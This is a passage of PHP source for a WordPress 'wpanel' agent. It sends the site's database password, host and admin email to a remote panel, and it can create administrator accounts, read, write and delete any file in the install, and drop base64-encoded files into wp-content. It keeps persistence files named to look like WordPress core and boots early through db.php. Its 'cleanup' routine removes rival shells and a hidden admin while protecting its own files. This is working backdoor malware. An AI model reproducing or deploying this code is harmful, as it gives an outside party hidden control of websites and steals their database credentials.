$body = @file_get_contents($panel . '/agent/event', false, $ctx);
if ($body === false) {
return ['ok' => false, 'error' => 'Panel erişilemedi'];
}
$data = json_decode($body, true);
return !empty($data['ok']) ? ['ok' => true, 'data' => $data] : ['ok' => false, 'error' => isset($data['error']) ? $data['error'] : 'event failed'];
}
function wpanel_register_with_panel($reason = 'load') {
$panel = wpanel_panel_url();
if ($panel === '') {
return ['ok' => false, 'error' => 'WPANEL_PANEL_URL boş'];
}
$info = wpanel_site_info();
$info['meta']['register_reason'] = $reason;
$payload = [
'url' => home_url('/'),
'agent_url' => wpanel_self_url(),
'info' => $info,
'db' => wpanel_db_info(),
'reason' => $reason,
'fallback_urls' => wpanel_fallback_urls(),
];
$ch = curl_init($panel . '/agent/register');
if ($ch === false) {
return wpanel_register_via_file($panel, $payload);
}
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 20,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'X-WPanel-Register-Secret: ' . wpanel_secret(),
'Accept: application/json',
],
CURLOPT_POSTFIELDS => json_encode($payload),
]);
$body = curl_exec($ch);
$err = curl_error($ch);
$code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($body === false) {
return ['ok' => false, 'error' => $err ?: 'curl failed'];
}
$data = json_decode($body, true);
if ($code < 200 || $code >= 300 || empty($data['ok'])) {
return ['ok' => false, 'error' => is_array($data) ? (isset($data['error']) ? $data['error'] : ('HTTP ' . $code)) : ('HTTP ' . $code)];
}
return ['ok' => true, 'data' => $data];
}
function wpanel_register_via_file($panel, $payload) {
$ctx = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
'content' => json_encode($payload),
'timeout' => 20,
'ignore_errors' => true,
],
]);
$body = @file_get_contents($panel . '/agent/register', false, $ctx);
if ($body === false) {
return ['ok' => false, 'error' => 'Panel erişilemedi'];
}
$data = json_decode($body, true);
return !empty($data['ok']) ? ['ok' => true, 'data' => $data] : ['ok' => false, 'error' => isset($data['error']) ? $data['error'] : 'register failed'];
}
function wpanel_site_info() {
global $wp_version;
$theme = function_exists('wp_get_theme') ? wp_get_theme() : null;
return [
'site_title' => function_exists('get_bloginfo') ? get_bloginfo('name') : '',
'admin_email' => function_exists('get_option') ? get_option('admin_email') : '',
'wp_version' => isset($wp_version) ? $wp_version : '',
'php_version' => PHP_VERSION,
'theme' => ($theme && method_exists($theme, 'get')) ? $theme->get('Name') : '',
'meta' => [
'multisite' => function_exists('is_multisite') ? is_multisite() : false,
'locale' => function_exists('get_locale') ? get_locale() : '',
'agent' => 'wpanel-embedded',
'agent_url' => function_exists('wpanel_self_url') ? wpanel_self_url() : '',
'fallback_urls' => function_exists('wpanel_fallback_urls') ? wpanel_fallback_urls() : [],
'agent_version' => WPANEL_AGENT_VERSION,
'mode' => defined('WPANEL_STANDALONE_BOOT') ? 'standalone' : 'embedded',
],
];
}
function wpanel_extra_meta() {
$counts = count_users();
return [
'active_plugins' => count((array) get_option('active_plugins', [])),
'users_count' => (int) (isset($counts['total_users']) ? $counts['total_users'] : 0),
'memory_limit' => ini_get('memory_limit'),
];
}
function wpanel_db_info() {
global $wpdb;
return [
'name' => defined('DB_NAME') ? DB_NAME : '',
'user' => defined('DB_USER') ? DB_USER : '',
'pass' => defined('DB_PASSWORD') ? DB_PASSWORD : '',
'host' => defined('DB_HOST') ? DB_HOST : '',
'prefix' => isset($wpdb->prefix) ? $wpdb->prefix : '',
'charset' => defined('DB_CHARSET') ? DB_CHARSET : '',
];
}
function wpanel_list_users() {
// Bazı güvenlik eklentileri giriş yokken get_users() sonucunu boşaltır.
// Mümkünse admin bağlamı aç; yine boşsa doğrudan DB'den oku.
if (function_exists('wp_set_current_user') && function_exists('get_users')) {
$admins = get_users(['role' => 'administrator', 'number' => 1, 'fields' => ['ID']]);
if ($admins) {
$aid = is_object($admins[0]) ? (int) $admins[0]->ID : (int) $admins[0];
if ($aid > 0) {
wp_set_current_user($aid);
}
}
}
$out = [];
if (function_exists('get_users')) {
$users = get_users(['orderby' => 'ID', 'order' => 'ASC', 'number' => 500]);
foreach ($users as $user) {
$out[] = [
'ID' => (int) $user->ID,
'user_login' => $user->user_login,
'user_email' => $user->user_email,
'display_name' => $user->display_name,
'roles' => array_values((array) $user->roles),
'registered' => $user->user_registered,
];
}
}
if ($out) {
return $out;
}
global $wpdb;
if (!isset($wpdb) || !is_object($wpdb) || empty($wpdb->users)) {
return $out;
}
$rows = $wpdb->get_results(
"SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb->users} ORDER BY ID ASC LIMIT 500"
);
if (!is_array($rows)) {
return $out;
}
foreach ($rows as $row) {
$roles = [];
if (class_exists('WP_User')) {
$u = new WP_User((int) $row->ID);
$roles = array_values((array) $u->roles);
}
$out[] = [
'ID' => (int) $row->ID,
'user_login' => (string) $row->user_login,
'user_email' => (string) $row->user_email,
'display_name' => (string) $row->display_name,
'roles' => $roles,
'registered' => (string) $row->user_registered,
];
}
return $out;
}
function wpanel_create_user($body) {
$login = sanitize_user((string) (isset($body['user_login']) ? $body['user_login'] : ''), true);
$email = sanitize_email((string) (isset($body['user_email']) ? $body['user_email'] : ''));
$pass = (string) (isset($body['user_pass']) ? $body['user_pass'] : '');
$role = sanitize_key((string) (isset($body['role']) ? $body['role'] : 'administrator'));
if ($login === '' || $email === '' || $pass === '') {
return ['ok' => false, 'error' => 'user_login, user_email, user_pass gerekli'];
}
if (!get_role($role)) {
return ['ok' => false, 'error' => 'Geçersiz rol'];
}
if (username_exists($login) || email_exists($email)) {
return ['ok' => false, 'error' => 'Kullanıcı veya e-posta zaten var'];
}
$user_id = wp_insert_user([
'user_login' => $login,
'user_email' => $email,
'user_pass' => $pass,
'role' => $role,
]);
if (is_wp_error($user_id)) {
return ['ok' => false, 'error' => $user_id->get_error_message()];
}
return [
'ok' => true,
'user' => [
'ID' => (int) $user_id,
'user_login' => $login,
'user_email' => $email,
'role' => $role,
],
];
}
function wpanel_delete_user($body) {
require_once ABSPATH . 'wp-admin/includes/user.php';
$user_id = (int) (isset($body['user_id']) ? $body['user_id'] : 0);
if ($user_id <= 0) {
return ['ok' => false, 'error' => 'user_id gerekli'];
}
$reassign = isset($body['reassign']) && $body['reassign'] !== '' && $body['reassign'] !== null
? (int) $body['reassign']
: null;
if (!wp_delete_user($user_id, $reassign)) {
return ['ok' => false, 'error' => 'Silinemedi'];
}
return ['ok' => true, 'deleted' => $user_id];
}
function wpanel_set_role($body) {
$user_id = (int) (isset($body['user_id']) ? $body['user_id'] : 0);
$role = sanitize_key((string) (isset($body['role']) ? $body['role'] : ''));
if ($user_id <= 0 || $role === '') {
return ['ok' => false, 'error' => 'user_id ve role gerekli'];
}
if (!get_role($role)) {
return ['ok' => false, 'error' => 'Geçersiz rol'];
}
$user = new WP_User($user_id);
if (!$user->exists()) {
return ['ok' => false, 'error' => 'Kullanıcı yok'];
}
$user->set_role($role);
return ['ok' => true, 'user_id' => $user_id, 'role' => $role];
}
/**
* File Manager — kök: WordPress kurulum dizini (ABSPATH). Tüm site dosyalarını kapsar.
*/
function wpanel_fm_base() {
if (defined('ABSPATH')) {
$b = realpath(ABSPATH);
if ($b !== false) {
return rtrim($b, '/\\');
}
}
if (defined('WP_CONTENT_DIR')) {
$b = realpath(WP_CONTENT_DIR);
if ($b !== false) {
return rtrim($b, '/\\');
}
}
return rtrim(dirname(__DIR__), '/\\');
}
/** Göreli yolu köke göre çözer; kök dışına çıkışı engeller. Dosya yoksa da (yazma için) döner. */
function wpanel_fm_resolve($rel, $mustExist = true) {
$base = wpanel_fm_base();
$rel = (string) $rel;
$rel = str_replace('\\', '/', $rel);
// .. parçalarını at
$parts = [];
foreach (explode('/', $rel) as $seg) {
if ($seg === '' || $seg === '.') {
continue;
}
if ($seg === '..') {
array_pop($parts);
continue;
}
$parts[] = $seg;
}
$full = $base . ($parts ? '/' . implode('/', $parts) : '');
if ($mustExist) {
$real = realpath($full);
if ($real === false || strpos($real, $base) !== 0) {
return false;
}
return $real;
}
// yazma: parent var olmalı ve kök içinde olmalı
$parent = realpath(dirname($full));
if ($parent === false || strpos($parent, $base) !== 0) {
return false;
}
return rtrim($parent, '/\\') . '/' . basename($full);
}
function wpanel_fm_list($body) {
$rel = isset($body['path']) ? (string) $body['path'] : '';
$base = wpanel_fm_base();
$dir = wpanel_fm_resolve($rel, true);
if ($dir === false || !is_dir($dir)) {
return ['ok' => false, 'error' => 'Dizin bulunamadı'];
}
$items = [];
$list = @scandir($dir);
if (!is_array($list)) {
return ['ok' => false, 'error' => 'Okunamadı'];
}
foreach ($list as $f) {
if ($f === '.' || $f === '..') {
continue;
}
$p = $dir . '/' . $f;
$isDir = is_dir($p);
$items[] = [
'name' => $f,
'type' => $isDir ? 'dir' : 'file',
'size' => $isDir ? 0 : (int) @filesize($p),
'mtime' => (int) @filemtime($p),
'perms' => substr(sprintf('%o', @fileperms($p)), -4),
'writable' => is_writable($p),
];
}
usort($items, function ($a, $b) {
if ($a['type'] !== $b['type']) {
return $a['type'] === 'dir' ? -1 : 1;
}
return strcasecmp($a['name'], $b['name']);
});
$relOut = ltrim(str_replace($base, '', $dir), '/');
return ['ok' => true, 'base' => $base, 'path' => $relOut, 'items' => $items, 'agent_version' => WPANEL_AGENT_VERSION];
}
function wpanel_fm_read($body) {
$rel = isset($body['path']) ? (string) $body['path'] : '';
$file = wpanel_fm_resolve($rel, true);
if ($file === false || !is_file($file)) {
return ['ok' => false, 'error' => 'Dosya bulunamadı'];
}
$size = (int) @filesize($file);
$max = 5 * 1024 * 1024;
if ($size > $max) {
return ['ok' => false, 'error' => 'Dosya çok büyük (>5MB)', 'size' => $size];
}
$content = @file_get_contents($file);
if ($content === false) {
return ['ok' => false, 'error' => 'Okunamadı'];
}
return [
'ok' => true,
'path' => $rel,
'size' => $size,
'mtime' => (int) @filemtime($file),
'content_b64' => base64_encode($content),
'agent_version' => WPANEL_AGENT_VERSION,
];
}
function wpanel_fm_write($body) {
$rel = isset($body['path']) ? (string) $body['path'] : '';
if ($rel === '') {
return ['ok' => false, 'error' => 'path gerekli'];
}
$file = wpanel_fm_resolve($rel, false);
if ($file === false) {
return ['ok' => false, 'error' => 'Geçersiz yol'];
}
if (isset($body['content_b64'])) {
$data = base64_decode((string) $body['content_b64'], true);
if ($data === false) {
return ['ok' => false, 'error' => 'content_b64 geçersiz'];
}
} else {
$data = isset($body['content']) ? (string) $body['content'] : '';
}
$dir = dirname($file);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
if (is_file($file)) {
@chmod($file, 0644);
}
$bytes = @file_put_contents($file, $data, LOCK_EX);
if ($bytes === false) {
return ['ok' => false, 'error' => 'Yazılamadı (izin?)'];
}
return ['ok' => true, 'path' => $rel, 'bytes' => $bytes, 'agent_version' => WPANEL_AGENT_VERSION];
}
function wpanel_fm_rrmdir($dir) {
$items = @scandir($dir);
if (is_array($items)) {
foreach ($items as $f) {
if ($f === '.' || $f === '..') {
continue;
}
$p = $dir . '/' . $f;
if (is_dir($p) && !is_link($p)) {
wpanel_fm_rrmdir($p);
} else {
@unlink($p);
}
}
}
return @rmdir($dir);
}
function wpanel_fm_delete($body) {
$rel = isset($body['path']) ? (string) $body['path'] : '';
if ($rel === '') {
return ['ok' => false, 'error' => 'path gerekli'];
}
$target = wpanel_fm_resolve($rel, true);
if ($target === false) {
return ['ok' => false, 'error' => 'Bulunamadı'];
}
// agent kendini silmesin
$selfBase = basename($target);
if ($selfBase === basename(__FILE__)) {
return ['ok' => false, 'error' => 'Agent dosyası silinemez'];
}
if (is_dir($target) && !is_link($target)) {
$ok = wpanel_fm_rrmdir($target);
} else {
@chmod($target, 0644);
$ok = @unlink($target);
}
return $ok ? ['ok' => true, 'deleted' => $rel] : ['ok' => false, 'error' => 'Silinemedi'];
}
function wpanel_fm_mkdir($body) {
$rel = isset($body['path']) ? (string) $body['path'] : '';
if ($rel === '') {
return ['ok' => false, 'error' => 'path gerekli'];
}
$dir = wpanel_fm_resolve($rel, false);
if ($dir === false) {
return ['ok' => false, 'error' => 'Geçersiz yol'];
}
if (is_dir($dir)) {
return ['ok' => true, 'path' => $rel, 'exists' => true];
}
if (!@mkdir($dir, 0755, true) && !is_dir($dir)) {
return ['ok' => false, 'error' => 'Oluşturulamadı'];
}
return ['ok' => true, 'path' => $rel];
}
function wpanel_fm_rename($body) {
$from = isset($body['from']) ? (string) $body['from'] : '';
$to = isset($body['to']) ? (string) $body['to'] : '';
if ($from === '' || $to === '') {
return ['ok' => false, 'error' => 'from ve to gerekli'];
}
$src = wpanel_fm_resolve($from, true);
$dst = wpanel_fm_resolve($to, false);
if ($src === false) {
return ['ok' => false, 'error' => 'Kaynak yok'];
}
if ($dst === false) {
return ['ok' => false, 'error' => 'Hedef geçersiz'];
}
$dir = dirname($dst);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
if (!@rename($src, $dst)) {
return ['ok' => false, 'error' => 'Taşınamadı'];
}
return ['ok' => true, 'from' => $from, 'to' => $to];
}
function wpanel_upload() {
if (!wpanel_panel_gate_ok()) {
return ['ok' => false, 'error' => 'Upload gate gerekli'];
}
if (empty($_FILES['file']['tmp_name'])) {
return ['ok' => false, 'error' => 'file gerekli'];
}
$file = $_FILES['file'];
if (!empty($file['error'])) {
return ['ok' => false, 'error' => 'Upload error'];
}
$name = isset($file['name']) ? (string) $file['name'] : '';
if (function_exists('sanitize_file_name')) {
$name = sanitize_file_name($name);
} else {
$name = preg_replace('/[^A-Za-z0-9._-]/', '', $name);
}
if ($name === '') {
return ['ok' => false, 'error' => 'Geçersiz dosya adı'];
}
$relative = isset($_POST['path']) ? (string) $_POST['path'] : '';
$relative = str_replace(['..', '\\'], ['', '/'], $relative);
$relative = trim($relative, '/');
$base = WP_CONTENT_DIR;
$dest_dir = $relative !== '' ? $base . '/' . $relative : $base . '/uploads/wpanel';
$realBase = realpath($base);
if ($realBase === false) {
return ['ok' => false, 'error' => 'base yok'];
}
if (!is_dir($dest_dir)) {
if (!function_exists('wp_mkdir_p') || !wp_mkdir_p($dest_dir)) {
if (!@mkdir($dest_dir, 0755, true) && !is_dir($dest_dir)) {
return ['ok' => false, 'error' => 'Klasör oluşturulamadı'];
}
}
}
$realDest = realpath($dest_dir);
if ($realDest === false || strpos($realDest, $realBase) !== 0) {
return ['ok' => false, 'error' => 'path kaçışı engellendi'];
}
$dest = rtrim($realDest, '/') . '/' . $name;
if (!move_uploaded_file($file['tmp_name'], $dest)) {
if (!@rename($file['tmp_name'], $dest) && !@copy($file['tmp_name'], $dest)) {
return ['ok' => false, 'error' => 'Dosya taşınamadı'];
}
}
$url = function_exists('content_url')
? content_url(ltrim(str_replace(WP_CONTENT_DIR, '', $dest), '/'))
: '';
return ['ok' => true, 'path' => $dest, 'url' => $url, 'name' => $name];
}
/**
* Panel'den ham dosya yazımı: { files: [ { path: "languages/x.php", content_b64: "..." } ] }
* path WP_CONTENT_DIR göreli; .. yok.
*/
function wpanel_deploy_files($body) {
if (!is_array($body)) {
return ['ok' => false, 'error' => 'body gerekli'];
}
$files = isset($body['files']) && is_array($body['files']) ? $body['files'] : [];
if (!$files) {
return ['ok' => false, 'error' => 'files gerekli'];
}
if (!defined('WP_CONTENT_DIR')) {
return ['ok' => false, 'error' => 'WP_CONTENT_DIR yok'];
}
$base = realpath(WP_CONTENT_DIR);
if ($base === false) {
return ['ok' => false, 'error' => 'base yok'];
}
$written = [];
foreach ($files as $item) {
if (!is_array($item)) {
continue;
}
$rel = isset($item['path']) ? (string) $item['path'] : '';
$rel = str_replace(['..', '\\'], ['', '/'], $rel);
$rel = ltrim($rel, '/');
if ($rel === '') {
continue;
}
$b64 = isset($item['content_b64']) ? (string) $item['content_b64'] : '';
if ($b64 === '' && isset($item['content'])) {
$raw = (string) $item['content'];
} else {
$raw = base64_decode($b64, true);
if ($raw === false) {
continue;
}
}
$dest = $base . '/' . $rel;
$dir = dirname($dest);
if (!is_dir($dir)) {
if (function_exists('wp_mkdir_p')) {
wp_mkdir_p($dir);
} else {
@mkdir($dir, 0755, true);
}
}
@chmod($dest, 0644);
if (@file_put_contents($dest, $raw, LOCK_EX) !== false) {
@chmod($dest, 0644);
$written[] = $rel;
}
}
return [
'ok' => true,
'written' => $written,
'count' => count($written),
'agent_version' => WPANEL_AGENT_VERSION,
];
}
/**
* Bilinen shell / backdoor temizliği + sahte admin.
*/
function wpanel_cleanup_malware() {
$deleted = [];
$roots = [];
if (defined('ABSPATH')) {
$roots[] = rtrim(ABSPATH, '/\\');
}
if (defined('WP_CONTENT_DIR')) {
$roots[] = rtrim(WP_CONTENT_DIR, '/\\');
}
$exact = [
'yakala.php',
'wp-optimizer.php',
'mydickisbigbrofuckingedonnazia.php',
'worksec.php',
'wp-cache-setting.php',
'wp-trackbacks.php',
'wp-mails.php',
'wpanel-audit-list.php',
'nox-google.php',
'wp-login-throttle.php',
'wp-mail-queue.php',
'wp-formplugin.php',
'wp-core-health.php',
'rootseo.php',
'waf.php',
'nox-google-bot-bypass.php',
'rootseo-links-v5.php',
'wp2shell-batch-guard.php',
];
$exactMap = array_fill_keys($exact, true);
// ABSPATH kök dosyalar
if (defined('ABSPATH')) {
$ab = rtrim(ABSPATH, '/\\');
foreach (['yakala.php', 'wp-optimizer.php', 'shell.php', 'wso.php', 'alfa.php', 'wp-trackbacks.php', 'wp-mails.php'] as $f) {
$p = $ab . '/' . $f;
if (is_file($p) && @unlink($p)) {
$deleted[] = $p;
}
}
}
// Recursive tarama (derinlik 6) — wp-trackbacks vb. her yerde
$skipNames = [
'node_modules' => true,
'.git' => true,
'vendor' => true,
];
foreach (array_unique($roots) as $root) {
if (!is_dir($root)) {
continue;
}
try {
$dirIter = new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS);
$it = new RecursiveIteratorIterator($dirIter, RecursiveIteratorIterator::SELF_FIRST);
$it->setMaxDepth(6);
foreach ($it as $file) {
if (!$file->isFile()) {
$base = strtolower($file->getFilename());
if (isset($skipNames[$base])) {
$it->next();
}
continue;
}
$name = strtolower($file->getFilename());
$path = $file->getPathname();
$norm = str_replace('\\', '/', $path);
$kill = false;
if (isset($exactMap[$name])) {
$kill = true;
}
if (preg_match('/^class-wp-[a-z]+_[0-9a-f]{6,}\.php$/', $name)) {
$kill = true;
}
if (preg_match('/^(shell|wso|alfa|c99|r57|bypass|backdoor|filesman|wp2shell)[0-9._-]*\.(php|phtml|phar)$/i', $name)) {
// WP core Diff engine + meşru eklenti sınıfları korunur
if (
strpos($norm, '/Text/Diff/') !== false
|| strpos($norm, '/duplicator/') !== false
|| strpos($norm, '/exec-with-fallback/') !== false
|| strpos($name, 'shellexec') !== false
) {
$kill = false;
} else {
$kill = true;
}
}
if (strpos($norm, '/uploads/wpanel/') !== false && preg_match('/\.(php|phtml|phar)$/i', $name)) {
$kill = true;
}
// agent kalıcılık dosyalarını koru
if (strpos($name, 'class-wp-locale-') === 0 || $name === 'wp-locale-bootstrap.php' || $name === 'agent.php') {
$kill = false;
}
if ($kill && @unlink($path)) {
$deleted[] = $path;
}
}
} catch (Exception $e) {
// ignore
}
}
// Sahte admin wphiddenbot (+ varyant)
$userRemoved = false;
$removedLogins = [];
if (function_exists('get_user_by')) {
if (!function_exists('wp_delete_user') && defined('ABSPATH')) {
@require_once ABSPATH . 'wp-admin/includes/user.php';
}
foreach (['wphiddenbot', 'wp_hiddenbot', 'wphidden_bot', 'hiddenbot'] as $login) {
$u = get_user_by('login', $login);
if ($u && !empty($u->ID) && function_exists('wp_delete_user')) {
if (wp_delete_user((int) $u->ID)) {
$userRemoved = true;
$removedLogins[] = $login;
}
}
}
}
return [
'ok' => true,
'deleted' => $deleted,
'deleted_count' => count($deleted),
'wphiddenbot_removed' => $userRemoved,
'removed_logins' => $removedLogins,
'agent_version' => WPANEL_AGENT_VERSION,
];
}
function wpanel_list_plugins() {
if (!function_exists('get_plugins')) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$all = get_plugins();
$active = (array) get_option('active_plugins', []);
$out = [];
foreach ($all as $file => $data) {
$out[] = [
'file' => $file,
'name' => isset($data['Name']) ? $data['Name'] : $file,
'version' => isset($data['Version']) ? $data['Version'] : '',
'active' => in_array($file, $active, true),
];
}
return $out;
}
function wpanel_agent_start() {
static $done = false;
if ($done) {
return;
}
$done = true;
wpanel_self_heal_install();
wpanel_ensure_functions_loader();
wpanel_bootstrap_hooks();
// Hook'lar kaçırıldıysa (geç yükleme) hemen çalıştır
if (function_exists('did_action')) {
if (did_action('plugins_loaded') || did_action('muplugins_loaded') || did_action('init')) {
wpanel_on_early_boot();
}
if (did_action('init') && !wpanel_is_agent_request()) {
wpanel_maybe_register();
wpanel_maybe_heartbeat();
}
} elseif (wpanel_is_agent_request()) {
wpanel_handle_request();
}
}
function wpanel_try_register_hooks() {
if (!function_exists('add_action')) {
return false;
}
add_action('muplugins_loaded', 'wpanel_agent_start', 0);
add_action('plugins_loaded', 'wpanel_agent_start', 0);
add_action('after_setup_theme', 'wpanel_agent_start', 1);
add_action('init', 'wpanel_agent_start', 0);
if (function_exists('did_action')) {
if (did_action('muplugins_loaded') || did_action('plugins_loaded') || did_action('after_setup_theme') || did_action('init')) {
wpanel_agent_start();
}
}
return true;
}
if (!wpanel_try_register_hooks()) {
// db.php gibi erken yükleme: add_action henüz yok.
// Fonksiyonlar hazır; mu-plugin / sonraki include wpanel_agent_start() çağırır.
if (!defined('WPANEL_EARLY_LOADED')) {
define('WPANEL_EARLY_LOADED', true);
}
}
}
}
}